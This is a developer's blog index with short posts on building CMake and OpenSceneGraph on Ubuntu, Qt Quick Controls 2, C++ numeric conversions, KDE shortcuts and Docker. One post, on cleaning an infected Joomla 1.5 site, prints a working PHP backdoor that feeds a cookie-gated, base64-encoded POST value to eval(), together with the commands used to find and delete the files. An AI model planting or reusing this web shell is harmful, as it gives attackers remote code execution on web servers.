Compiling the latest version of CMake from sources on Ubuntu

Posted by | Ubuntu |

I was unable to add QML resources to a QT Quick application with CMake 2.8 installed on my machine, so I built the latest version of CMake with the following commands:

cd ~/examples
mkdir tools
cd tools
mkdir install
tar -xf ~/Downloads/cmake-3.9.1.tar.gz
cd cmake-3.9.1/
./configure --prefix=/home/dmitry/examples/tools/install/
make -j4
make install

Now my QT application is compiled and run successfully:

~/examples/tools/install/bin/cmake ../../OsgQmlTest/ -DCMAKE_BUILD_TYPE=Debug -DCMAKE_MODULE_PATH=/home/user/3rdpart/osg/CMakeModules/ -DCMAKE_INSTALL_PREFIX=/home/dmitry/examples/install
make -j4
make install

Building OsgQtQuick on Ubuntu 14.04

Posted by | Ubuntu |

The following section in OsgQtQuick‘s CMakeLists.txt:

find_package(OpenSceneGraph 3.0 REQUIRED
  osg
  osgQt
  osgDB
  osgGA
  osgManipulator
  osgUtil
  osgViewer
  osgText)

results in CMake searching for FindOpenSceneGraph.cmake file:

strace cmake ../../osgqtquick/ -DCMAKE_BUILD_TYPE=Debug -DCMAKE_INSTALL_PREFIX=/home/dmitry/examples/install |& grep -i OpenSceneGraph

access("/home/dmitry/examples/osgqtquick/cmake/FindOpenSceneGraph.cmake", R_OK) = -1 ENOENT (No such file or directory)

Qt Quick Controls 2 does not support TableView

Posted by | QML |

Qt Quick Controls 2 does not support TableView and looks like they are not going to support it, some notable missing features from Qt Quick Controls 1 also are Action, SplitView and TreeView, so the following QML code would not work:

TableView {

    TableViewColumn {
        role: "time"
        title: qsTr("date/time:")
        width: parent.width - 30
    }

    TableViewColumn {
        role: "score"
        title: qsTr("result:")
        width: 30
    }

    model: boardModel.list

    ScrollIndicator.vertical: ScrollIndicator { }
}

But there is a solution with ListView, so there can be something like this:

Numeric promotions and conversions in C++

Posted by | C++ |

In the following C++ code the values of ‘z’ and ‘n’ are undefined, because they are the result of an operation with signed integer arithmetic overflow (‘x’ and ‘y’ are first implicitly converted to signed int). The value of ‘w’ is implementation defined, because it is the result of a conversion:

#include <iostream>
#include <bitset>

int main(int argc, char *argv[])
{
    unsigned short x = 65535, y = x;
    unsigned short z = x * y;
    unsigned int n = x * y;
    std::cerr << "z = " << std::bitset<16>(z) << ", n = " << std::bitset<32>(n) << ", sizeof(int) = " << sizeof(int) << std::endl;

    short w = 0x80000000;
    
    return 0;
}

see Numeric conversions section of Implicit conversions article.

Building OsgEarth on Ubuntu 14.04

Posted by | Ubuntu |

I already had QT 5.5.1 with GCC 4.7.3 (and probably some libraries, including libcurl4-gnutls-dev, libgdal-dev, glut, that are installed, but not built) on my machine, so I built OSG with the following commands (I am not sure that it makes a sense to clone recursively, but making with ‘CMAKE_BUILD_TYPE=Debug’ can be better than with ‘debug’ or ‘DEBUG’, because CMAKE does case-sensitive compare. Also I am not sure What version of OpenSceneGraph I should build OsgEarth with.):

cd ~
mkdir examples
cd examples
mkdir install
git clone --recursive https://github.com/openscenegraph/OpenSceneGraph.git
git tag
git reset --hard OpenSceneGraph-3.5.6
mkdir -p build/osg
cd build/osg
cmake ../../OpenSceneGraph/ -DCMAKE_BUILD_TYPE=Debug -DCMAKE_INSTALL_PREFIX=/home/dmitry/examples/install
make -j3 install
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/dmitry/examples/install/lib64
~/examples/install/bin
./osgversiond

How I removed infected PHP files from Joomla 1.5 wesite.

Posted by | Joomla, Ubuntu |

I noticed that there are some suspicious PHP files with the following content on my Joomla 1.5 website:

<?php
if(!empty($_COOKIE['__utma']) and substr($_COOKIE['__utma'],0,16)=='3469825000034634'){
if (!empty($_POST['msg']) and $msg=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['msg']))))){
  echo '<textarea id=areatext>';
  eval($msg);
  echo '</textarea>bg';
  exit;
}}

I used the following commands to list them and remove them:

find -type f -name "*.php" -printf '%T@ %p\n' | sort -r | awk '{print $2}' | xargs ls -l | less -N
grep --color -r -i -l "3469825000034634" . --include=*.{php,css,html} | xargs ls -l
grep --color -r -i -l "3469825000034634" . --include=*.{php,css,html} | xargs rm

How to make Shift+NumPad keys select text and Ctrl+Ins/Shfit+Ins copy/paste in KDE (like as in MS Windows)

Posted by | Ubuntu |

I worked a long time with MS Windows before, and when I started to work with KDE, the most annoying thing was that in KDE’s default configuration I was unable to use Shift+NumPad arrows/End/Home to select the text in a text edtor (QT Creator, for example) and copy/paste with Ctrl+Ins/Shift+Ins. This way of copying and pasting is the favorite for me, because Ctrl and Shift are big buttons located at the left side of the keyboard and Ins is one of the biggest right button, so they can be quickly used by both hands. Fortunately there is built-in setting in KDE that enables all my shortcuts:

Running PHP 5.3/5.6 in a Docker container with Nginx on Ubuntu 16.04

Posted by | Ubuntu | Tagged |

The docker installation procedure depends on the system architecture that can be determined with the following commands:

cat /proc/cpuinfo
dpkg --print-architecture

After I installed Docker I successfully run its test application:

docker run hello-world

Unable to find image 'hello-world:latest' locally
latest: Pulling from library/hello-world
b04784fba78d: Pull complete
Digest: sha256:f3b3b28a45160805bb16542c9531888519430e9e6d6ffc09d72261b0d26ff74f
Status: Downloaded newer image for hello-world:latest

Hello from Docker!
This message shows that your installation appears to be working correctly.

To generate this message, Docker took the following steps:
1. The Docker client contacted the Docker daemon.
2. The Docker daemon pulled the "hello-world" image from the Docker Hub.
3. The Docker daemon created a new container from that image which runs the
executable that produces the output you are currently reading.
4. The Docker daemon streamed that output to the Docker client, which sent it
to your terminal.

To try something more ambitious, you can run an Ubuntu container with:

docker run -it ubuntu bash
